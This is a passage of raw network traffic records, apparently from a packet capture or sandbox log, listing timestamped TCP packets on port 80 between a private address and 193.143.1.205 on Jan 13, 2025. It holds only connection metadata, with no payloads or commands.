Jan 13, 2025 10:14:12.254138947 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.254345894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254359007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254371881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254378080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254383087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254390001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254403114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254410982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.254439116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.254439116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.254441023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254448891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254502058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.254776955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254782915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254796982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254806042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254812002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254823923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254858971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.254858971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.255192041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.255198002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.255217075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.255223036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.255234003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.255239010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.255245924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.255255938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.255264044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.255270004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.255276918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.255328894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.255328894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.255342960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.255686998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.255701065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.255712986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.255718946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.255726099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.255770922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.255770922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.255801916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.255809069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.255896091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.256047010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.256059885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.256071091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.256097078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.256103039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.256115913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.256122112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.256128073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.256151915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.256151915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.256151915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.256177902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.257924080 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.301307917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.301317930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.301335096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.301340103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.301429033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.301429033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.332704067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.332710981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.332717896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.332776070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.332782984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.332798004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.332803965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.332839966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.332839966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.332839966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.332911968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.332920074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.332926989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.332933903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.332973003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.332973003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.345139980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.345200062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.345205069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.345211029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.345217943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.345230103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.345240116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.345279932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.345323086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.345329046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.345362902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.345362902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.364464998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.364471912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.364478111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.364581108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.364667892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.364682913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.364695072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.364700079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.364706039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.364720106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.364726067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.364732027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.364757061 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.364757061 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.364782095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.377115965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377151012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377159119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377166033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377172947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377234936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377245903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377259970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377265930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377274036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377279997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377286911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.377286911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.377326012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.377326012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.377413034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377428055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377438068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377475977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377481937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377530098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.377545118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377552032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377595901 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.377595901 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.377604961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377619028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377625942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377631903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377639055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377677917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.377677917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.377718925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377768040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377857924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.377875090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377890110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377903938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377954960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377955914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.377962112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.377975941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378002882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.378005981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378014088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378025055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378119946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.378207922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378215075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378227949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378232956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378238916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378350973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.378361940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378369093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378381968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378422976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.378427029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378432035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378504992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.378505945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378513098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378528118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378559113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378566980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378599882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.378608942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378616095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.378617048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378629923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378635883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378643036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378681898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.378681898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.378710032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378716946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378724098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.378770113 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.379008055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379023075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379035950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379040956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379046917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379082918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379086018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.379086018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.379090071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379107952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379134893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.379324913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379332066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379338026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379374027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.379390955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379398108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379410982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379417896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379447937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.379508972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379517078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379529953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379535913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379544020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379559040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.379559040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.379590034 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.379759073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379766941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379780054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379808903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379818916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.379834890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.379877090 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.393692017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.393701077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.393721104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.393727064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.393740892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.393745899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.393764019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.393783092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.393783092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.393867970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.425209045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.425221920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.425225973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.425230980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.425244093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.425252914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.425263882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.425272942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.425311089 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.425354004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.430229902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.437650919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.437665939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.437684059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.437690020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.437696934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.437702894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.437715054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.437721014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.437726974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.437738895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.437767029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.437809944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.437843084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.437849998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.437863111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.437869072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.437875032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.437916040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.437928915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.457043886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.457051039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.457062960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.457068920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.457076073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.457086086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.457096100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.457170010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.457170010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.469721079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.469727993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.469741106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.469748020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.469754934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.469762087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.469860077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.469861984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.469860077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.469868898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.469882965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.469887972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.469894886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.469899893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.469913960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.469916105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.469930887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.469930887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.469954014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.469961882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.469976902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.469988108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.470005989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.470102072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470117092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470129967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470138073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470153093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470164061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470170021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470175028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.470175982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470190048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470195055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470201969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470218897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.470218897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.470237017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.470268011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.470328093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470335007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470374107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470380068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470395088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.470487118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470494032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470506907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470513105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470519066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470532894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.470532894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.470539093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470592976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.470592976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.470604897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470612049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470635891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470643044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470654011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470660925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470664978 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.470700979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470705032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.470705032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.470709085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470752001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.470896959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470902920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470915079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470966101 CET	80	49705	193.143.1.205	192.168.2.8
